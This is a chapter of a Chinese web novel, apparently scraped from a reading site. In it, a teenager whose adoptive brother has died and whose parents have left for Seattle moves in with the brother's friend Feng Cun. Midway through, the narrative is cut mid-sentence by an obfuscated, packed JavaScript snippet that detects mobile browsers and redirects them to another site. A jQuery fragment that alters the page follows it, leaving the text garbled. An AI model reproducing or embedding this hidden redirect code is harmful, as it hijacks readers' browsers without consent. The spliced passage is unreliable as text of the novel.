秦昼死了。
秦情没有参加葬礼。
一家人悲悲切切把骨灰盒捧到西山时，他正躺在医院病床上，跟实习护士打闹。
七天过后，他出院回家，家中只有大件家具还在。
冰箱里的菜叶烂掉了，发出恶臭，奶酪表面凝结了橘黄色的霉斑。衣柜也空荡荡，绿植都搬走了，花瓶里没有一滴水，储藏室遍地垃圾。
父亲书房桌面上有封信，信封正中写着他的名字。拆信的时候，秦情心中已有了八成猜想。
展开信纸，第一句果然就是：“我们已经回西雅图了。”
信不长，几乎每个字都围绕着离开的理由。
父亲说，秦昼的死，让母亲精神状况愈发糟糕，他们一刻也等不了了，必须马上离开这个伤心之地。
“你长大了，马上就快成年了。我们作为收养人，早已仁至义尽，希望你认真对待高考，别再惹是生非，大学学费我会负责到底。”
秦情捏着信纸，垂头站了会儿，手松开，纸张飘到桌边，蹭了一下，又落到地面。
他没有太多感觉。
母亲的崩溃可以理解，父亲的冷淡也同样。
因为这是他们第二次失去孩子。
-
家里没东西吃，卡里余额不多，秦情不舍得点外卖，于是自己跑腿，去小区门口的快餐店买了份牛肉炒饭。
吃完饭，他靠在沙发上打了个饱嗝，十分满足地拍拍肚子，又伸出手随便晃了晃。
没有父母和大哥的家里，连影子都变得自在肆意，简直马上就想把那群狐朋狗友叫到家里，通宵达旦玩他个三天三夜。
想到这，兜里手机响了，秦情接通，点了外放，潘博的声音在电话那头炸开：“情儿！出院啦？”
“你炸堤坝呢，小点儿声。”秦情从沙发上站起来，“说了别乱喊，谁他妈是你情儿。”
潘博嘿嘿地笑：“你要是个女的，说不定咱俩郎才女貌真能成！”
“放屁，当我是女的就眼瞎了？”秦情拿着手机往卧室走，“我家没人，有空没，过来帮我收拾收拾。”
“前脚骂完，后脚找我当苦力？真觉得我没脾气呗。”潘博顿了顿，幽幽问，“有好处没？”
“废品拉去卖了，钱归你。”
“......你是不是脑子撞坏了还没好？”
秦情拖出三个巨大的收纳箱，把里面的东西一股脑儿倒了出来。
“不要拉倒，我自己卖。”
一张陈旧的语文试卷飘到他面前，作文题目是《家和，万事兴》，满分四十八，秦昼得了四十六。
挺牛的。
“你没钱啦？没钱你找我表姐啊，她那边缺人呢，”潘博说，“前阵子联系不上你，她问我好几回了。你不让我说，我也只好一问三不知。”
秦情盘腿坐在地上，把那些试卷、发票、奖状、证书之类的全部摞在一起，偶然间，发现了一个硬壳小本儿。
他捡起来一看，是个小相册。
相册第一页，是秦昼去香港参加钢琴比赛的照片。
奖杯握在手里，轻飘飘的，和握着一瓶水、一支笔，没有太大区别。
秦昼的脖子永远高昂，脸上挂着胜券在握的表情，周围有人在看他，男的女的都有，眼睛里不是骄傲就是羡慕。
“潘博，你见过我哥没？”
“见过啊，不苟言笑，黑面神似的，凶得很。”
“厉害，会用成语了。”
“上周语文辨析刚考过。”
秦情继续翻动相册，后页塞了张双人合影。
照片里是两个二十来岁的青年，短袖、短裤，站在一颗绿油油的榕树下，手中握着网球拍，阳光好得不得了。
其中一个背对镜头，伸长了脖子，不知道在看什么。另一个碰巧转身，镜头捕捉到了他的笑脸。
背对镜头的人，是他大哥，秦昼。
旁边那人的名字，叫做封存。
而这张照片......
是秦情拍的。
他把合影抽出来，捏在手里，仔细端详，用拇指摩挲秦昼的背影，擦了又擦，擦了又擦。
“所以呢，我见过你哥，那又怎么着？”潘博问。
“不怎么着。”秦情说，“他死了。”
“我靠，真的假的？”潘博在电话那头小心翼翼吐了口气，“要不......我来帮你收拾收拾？”
秦情拿着照片站起来：“不用了。”
“咋的，这就生气了？”
“我要搬家。”
-
圣心湖，十七单元，一楼，102。
秦情跟着住户混进小区，拖着行李箱站在门口，敲了好几次，都没人应答。
主人不在，他也没打算走，挪到角落，靠着墙壁，就地坐了下去。平时让他做正事，秦情没半点恒心，然而每逢需要泼皮耍赖的时刻，他便会摇身一变，成为一头满分犟驴。
这一坐就是好几个小时。
太阳落山，星月升空，楼道里的感应灯亮了又灭，地面又冷又硬，屁股都快被磨平了，他终于听到前厅方向传来窸窣的脚步。
秦情抬头，还以为屁股马上要迎来解放，谁想来的并不是封存，而是隔壁邻居，一对身穿黑色风衣的中年夫妻，打扮得跟史密斯夫妇似的，却一个赛一个胆小。
“哎呀妈呀！”
隔壁太太瞧见墙角的人影子，弹簧一样跳起来，躲到老公身后。
老公本人也很警觉，他盯着秦情，掏出手机，看那架势，多半是想叫保安。
小题大做。
秦情在心中暗骂。
他最近些天总在心里骂人，这时已骂得十分娴熟，可以把心中所想与脸上的神色态度彻底分开。
他站起来，朝夫妻二人低头道歉，声音轻极了，又怕吓到了谁似的：“实在不好意思，我是来找封存的。”
秦情嗓音清澈，脸上皮肤白净细腻，长睫毛低垂，带了些稚嫩和疲倦。
那先生目光顿了顿，没有按下拨打电话的按钮。
太太也缓过来了，看秦情这幅模样，还有点说不上来的心软。
“你是小封弟弟啊？”
秦情点头。
先生把手机揣回兜里，抖了抖钥匙：“估计一会儿就回来了。”
“你怎么知道？”
“这几天加班到凌晨，总碰上。”
太太“噢”了声，又问秦情：“等多久了啊？怎么不打电话？”
秦情张口就来：“打了，没接。”
“等太晚也不好，”太太叹气道，“实在不行啊，明天再说呗。”
秦情温顺应了一声，看着夫妻俩一前一后进屋，房门轻声关上，一楼再次沉入漆黑夜色。
他也是。
直到凌晨一点半，门厅感应灯重新亮起。
秦情睁眼，见到了封存
——但他不是一个人。
他大概是喝多了，脚步虚浮，眼皮低垂，酒精让他变得懒散又松垮，被一个年轻男人架在肩膀上，左侧钻石耳钉反射着灯光，闪得秦情眼睛痛。
年轻男人小心拖着他，晃晃悠悠走到门口，看到秦情就是一愣：“小秦？你怎么在这儿？”
“你认识我？”
“秦昼是你哥嘛。”年轻人说到这儿，声音逐渐沉了下去，低低补了句节哀。
秦情深吸一口气，回头看了眼墙角的行李箱。
“我家没人了，存哥让我搬过来住。”
“是吗，”年轻人有些惊讶，“几点来的？等很久了吧？”
“还好。”
“晚上给老宋践行，不小心喝多了，老宋你知道吧？他们乐队前吉他手。存哥也不是故意的，以前没那么容易醉，可能最近状态不好，你见谅啊。”
年轻人说着，用封存的指纹开了门，秦情很有眼力见儿地上前一步，把大门九十度拉开。年轻人对他点头，扶着封存往屋里走。
秦情拖着行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445934|169412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李箱，跟了进去。
一楼客厅还是老样子。白窗帘拖在地板上，浅色皮沙发一尘不染，巨大的深色木纹长桌横在客厅正中，墙壁上没有电视或投影之类的东西。
封存不爱看电视，他知道。
秦情和年轻人一起，把封存送上了二楼卧室，年轻人帮他脱了外套和鞋，又起身，去浴室拧了一块毛巾，想要帮他擦脸。
“我来吧。”秦情说，“挺晚了，你早些回家休息。”
年轻人脚步一顿，看封存睡得倒也安稳，便把毛巾交到秦情手上，神色略带歉意：“确实有点晚了，那辛苦你啊。”
秦情微笑点头，他站在卧室门口，目送年轻人离开。等到楼下关门声响起，毛巾已经凉透了，他又去浴室，用温水重新拧了一遍。
回到封存床前，秦情居高临下地审视了他。
看他的鬓角、鼻梁、唇线、喉结......每一处都与记忆里的轮廓完美相符。
好久不见了，存哥。
他伸出手，帮封存擦拭脸颊。封存的皮肤烫，稍一凑近，都能感觉到热气扑面而来，连带秦情的后背、掌心也热了。
-
封存宿醉醒来，一睁眼，仍旧是双眼发黑，头昏脑胀，呼吸里还残存了酒的味道。
过了好一阵黑白颠倒的日子，他最近对这种状态倒还挺熟悉的，心里丝毫不慌。
手伸到枕头底下，他想要找手机，摸半天，什么都没捞到。
他掀开被子，迷迷糊糊站起身，走到窗边，将帘子撩开一条缝，阳光见缝插针刺了进来，刺得他险些流泪。
封存用掌根按了按眼睛。
估摸着，已经中午十一二点了。
他三下五除二扒掉一身臭衣服，随手抓了件睡袍套在身上。屋子里没有手机，他只好下楼去找。
本来已经做好了落在酒吧或是出租车上的准备，没想到一下楼，就在餐厅桌面上，发现了他要找的东西。
封存靠着墙壁，将手机解锁，群消息雪片般簌簌飞来。
置顶群聊：社会闲散人员收容中心（6），消息99+
2:04分
孙晔 蓝天琴行：「我把存哥送回家了，碰到了秦昼的弟弟。」
AAA地狱非遗传承人阎魔爱：「突发！某男子深夜回家，未成年痴心守候。@全体成员」
孙晔 蓝天琴行：「他说家里没人了，存哥让他以后搬过去住。」
AAA地狱非遗传承人阎魔爱：「他俩差几岁？这算养弟弟还是养儿子？」
孙晔 蓝天琴行：「八岁还是九岁来着，反正不到十。」
天道酬勤：「发红包的人最帅.jpg」
乐队的夏天：「我求你，能不能不要再发这种图。」
AAA地狱非遗传承人阎魔爱：「热烈庆祝存哥喜当爹！大慈善家，v我50！」
好饭无人来拼：「男孩子要好好学会自爱哦（玫瑰）先会自爱，然后爱人（笑），我现在要跟你断干净啦（比心），这是我对你最后的温柔（亲亲）」
天道酬勤：「认识你真好，相识是缘分.jpg」
乐队的夏天：「再发踢了。」
天道酬勤：「相逢是缘，相知是愿.jpg」
天道酬勤已被移出群聊。
乐队的夏天：「大慈善家，v我50。」
......
封存看得一头雾水，群消息最后二十几条，胡言乱语的，搞抽象的，发表情包的，踢人的，都不约而同站在了统一战线，疯狂@他发红包。
他捏着眉心揉了揉，原本就不大清楚的脑子，现在更是被搅和成了一团浆糊，堪堪怀疑要被酒精荼毒报废。
他放下手机，缓慢抬头。
一个人影悄无声息出现在了他的眼前。
“我哥没了，你当我哥吧。”
男孩说完，眨巴了两下眼睛。
......
操？？
脑子真坏了？